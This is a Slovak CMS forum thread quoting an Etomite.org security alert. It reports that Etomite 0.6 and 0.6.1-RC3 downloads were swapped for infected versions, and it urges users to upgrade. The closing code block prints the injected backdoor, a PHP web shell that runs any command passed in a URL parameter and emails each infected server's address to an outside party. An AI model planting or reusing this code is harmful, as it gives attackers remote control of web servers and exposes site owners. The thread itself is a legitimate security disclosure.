![Wink :wink:](./images/smilies/icon_wink.gif)
Pouzivajte najnovsiu verziu Etomite 0.6.1 RTM
![Etomite :eto:](./images/smilies/mini-eto.gif)
Moderátor: Moderators
Ralph (rad14701) z Etomite.org napísal:EVERYONE READ THIS ALERT
Anyone who has downloaded Etomite 0.6 Final or Etomite 0.6.1-RC3 since January 11, 2006 should contact me immediately via email at ralph@etomite.org as site security was breeched and those download files were replaced with cij injection exploit infected versions... The Etomite 0.6.1-RTM downloads have not been infected with this exploit...
After doing additional research into the previously discussed issues regarding the Etomite 0.6 Final downloads Dean and I have have made this disturbing discovery... The todo.inc.php file in these releases, as I have just discovered, were not in the releases prior to January 11, 2006 as was previously suspected... The cij injection exploit has been running rampant across the internet since on or around January 11th and has targeted countless websites in one way or another... This series of attacks appears to have originated in Russia, or that is at least where the backtrack trail appears to lead...
As I had originally stated, we were not certain that Alex was in any way associated with the exploit itself although we were aware that he did have a means of tracking installations of Etomite itself... It was due to this lack of proof that I had stressed that we should not rush to fault Alex for any such actions... The code that he had included was for monitoring purposes only and no malicious intent has been indicated as of the recent findings that I am reporting... I am 100% confident that Alex is in no way connected to the recent cij injection exploit and I felt it to be my duty to the Etomite community to state Deans and my positons on the issue in light of several comments posted in the forums recently...
The Etomite community should rest assured that Dean and myself are taking every precaution to insure the security of the entire Etomite website and all of its contents... Anyone wishing to comment on these recent findings is urged to use the ongoing discussion thread located here... Please refrain from starting additional forum threads for discussions related to this matter... And, again, only use the email address listed at the top of the message for reporting possible exposure to this exploit or for any other concerns...
Thanks for your continued cooperation regarding this issue...
Ralph & Dean...
Jednoducho povedane: Zbav sa co najskor Etomite 0.6 - 0.6.1 RC3 a zacni pouzivat Etomite 0.6.1 RTM.grabo napísal:... a nenašiel by sa šikovný angličtinár?
Kód: Vybrať všetko
$handle=popen($_GET[cij]." 2>&1","r");
while(!feof($handle))
{
$line=fgets($handle);
if(strlen($line)>=1)
{
echo $line;
}
}
pclose($handle);
mail("cijfer@netti.fi","".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'],"Error Code #720938");